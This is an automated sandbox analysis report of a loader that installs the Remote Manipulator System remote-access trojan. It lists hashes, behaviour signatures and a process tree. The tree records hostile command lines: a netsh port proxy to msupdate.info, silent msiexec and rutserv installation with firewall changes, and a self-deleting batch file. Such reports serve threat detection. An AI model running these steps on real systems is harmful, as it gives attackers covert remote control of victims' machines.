Overview

overview

10

Static

static

tmp/fca2ee...er.exe

windows7_x64

10

tmp/fca2ee...er.exe

windows10_x64

10

Resubmissions

29-12-2021 11:50

211229-nz3vsaddbl 8

29-12-2021 11:29

211229-nlssnaddak 10

28-12-2021 17:00

211228-vh1sescfan 10

Analysis

  • max time kernel
    113s
  • max time network
    111s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    29-12-2021 11:29

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    tmp/fca2ee24-3777-4893-aa3c-94407208a71a_$77_loader.exe

  • Size

    397KB

  • MD5

    aff57ee1a4f3731c2036046910f78fb4

  • SHA1

    ef9627c0cadff85a3dfaab6aef0b7c885f03b186

  • SHA256

    3826953ded758361f9783d67242e4ba87092d637d72bcf81c649e52665c57de4

  • SHA512

    5ae93c6dae61782a7ac2fa2079df7006e0655d73e32fd7df1a5c1d44e47fd7dd2da225ea6f93e9d3dcb09be5f84b5dab2130bb4f2d5b0e05d95e866ebde0163f

Score
10/10
rmsdiscoveryevasionpersistencerattrojan

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

    trojanratrms
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Sets file execution options in registry 2 TTPs
    persistence
  • Loads dropped DLL 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies WinLogon 2 TTPs 3 IoCs
    persistence
  • Modifies powershell logging option 1 TTPs
    evasion
  • Drops file in Program Files directory 53 IoCs
  • Drops file in Windows directory 21 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Gathers network information 2 TTPs 3 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 24 IoCs
  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmp\fca2ee24-3777-4893-aa3c-94407208a71a_$77_loader.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp\fca2ee24-3777-4893-aa3c-94407208a71a_$77_loader.exe"
    1⤵
    • Modifies WinLogon
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3160
    • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cxum69oc.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2280
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES440B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC440A.tmp"
        3⤵
          PID:964
      • C:\Windows\system32\chcp.com
        "C:\Windows\system32\chcp.com" 437
        2⤵
          PID:996
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" interface portproxy show all
          2⤵
            PID:3168
          • C:\Windows\system32\NETSTAT.EXE
            "C:\Windows\system32\NETSTAT.EXE" -na
            2⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:1252
          • C:\Windows\system32\NETSTAT.EXE
            "C:\Windows\system32\NETSTAT.EXE" -na
            2⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:3860
          • C:\Windows\system32\NETSTAT.EXE
            "C:\Windows\system32\NETSTAT.EXE" -na
            2⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:980
          • C:\Windows\system32\netsh.exe
            "C:\Windows\system32\netsh.exe" interface portproxy reset
            2⤵
              PID:1048
            • C:\Windows\system32\netsh.exe
              "C:\Windows\system32\netsh.exe" interface portproxy show all
              2⤵
                PID:2440
              • C:\Windows\system32\netsh.exe
                "C:\Windows\system32\netsh.exe" interface portproxy add v4tov4 listenport=757 connectport=443 connectaddress=msupdate.info
                2⤵
                  PID:3720
                • C:\Windows\system32\netsh.exe
                  "C:\Windows\system32\netsh.exe" interface portproxy show all
                  2⤵
                    PID:3116
                  • C:\Windows\system32\netsh.exe
                    "C:\Windows\system32\netsh.exe" interface portproxy show all
                    2⤵
                      PID:68
                    • C:\Users\Admin\AppData\Local\Temp\tmp\RMS.exe
                      "C:\Users\Admin\AppData\Local\Temp\tmp\RMS.exe"
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2260
                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe
                        "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe" /rsetup
                        3⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:1940
                        • C:\Windows\SysWOW64\msiexec.exe
                          "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\rms.host6.3ru_mod.msi" /qn
                          4⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1320
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\killself.bat
                          4⤵
                            PID:1360
                    • C:\Windows\system32\msiexec.exe
                      C:\Windows\system32\msiexec.exe /V
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:440
                    • C:\Windows\system32\msiexec.exe
                      C:\Windows\system32\msiexec.exe /V
                      1⤵
                      • Blocklisted process makes network request
                      • Enumerates connected drives
                      • Drops file in Program Files directory
                      • Drops file in Windows directory
                      • Modifies data under HKEY_USERS
                      • Modifies registry class
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:2616
                      • C:\Windows\syswow64\MsiExec.exe
                        C:\Windows\syswow64\MsiExec.exe -Embedding F364BD36C0883B21D73DBA3BFA659B77
                        2⤵
                        • Loads dropped DLL
                        PID:2144
                      • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe
                        "C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe" /silentinstall
                        2⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        PID:308
                      • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe
                        "C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe" /firewall
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        PID:3168
                      • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe
                        "C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe" /start
                        2⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        PID:1064
                    • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe
                      "C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe"
                      1⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:1124
                      • C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe
                        "C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe" /tray
                        2⤵
                        • Executes dropped EXE
                        PID:2176
                      • C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe
                        "C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe"
                        2⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:2520
                        • C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe
                          "C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe" /tray
                          3⤵
                          • Executes dropped EXE
                          • Suspicious behavior: SetClipboardViewer
                          PID:2168
                    • C:\Windows\system32\compattelrunner.exe
                      C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
                      1⤵
                        PID:3460

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/308-161-0x0000000002680000-0x0000000002681000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/440-127-0x00000213CBF90000-0x00000213CBF92000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/440-128-0x00000213CBF90000-0x00000213CBF92000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/1064-169-0x0000000000B40000-0x0000000000B41000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1124-170-0x00000000001D0000-0x00000000001F3000-memory.dmp

                        Filesize

                        140KB

                        Download

                      • memory/1320-148-0x0000000000E00000-0x0000000000E01000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1320-147-0x0000000000E00000-0x0000000000E01000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1940-145-0x0000000000B00000-0x0000000000B01000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2144-154-0x0000000000470000-0x0000000000471000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2144-155-0x0000000000470000-0x0000000000471000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2168-190-0x0000000000B20000-0x0000000000B21000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2176-186-0x0000000002700000-0x0000000002701000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2280-126-0x0000000000930000-0x0000000000932000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/2520-187-0x00000000025C0000-0x00000000025C1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2616-151-0x000002561C240000-0x000002561C242000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/2616-152-0x000002561C240000-0x000002561C242000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/3160-116-0x00007FFE21F40000-0x00007FFE22A9D000-memory.dmp

                        Filesize

                        11.4MB

                        Download

                      • memory/3160-138-0x0000000002846000-0x0000000002848000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/3160-115-0x0000000002840000-0x0000000002842000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/3168-168-0x0000000000C50000-0x0000000000C51000-memory.dmp

                        Filesize

                        4KB

                        Download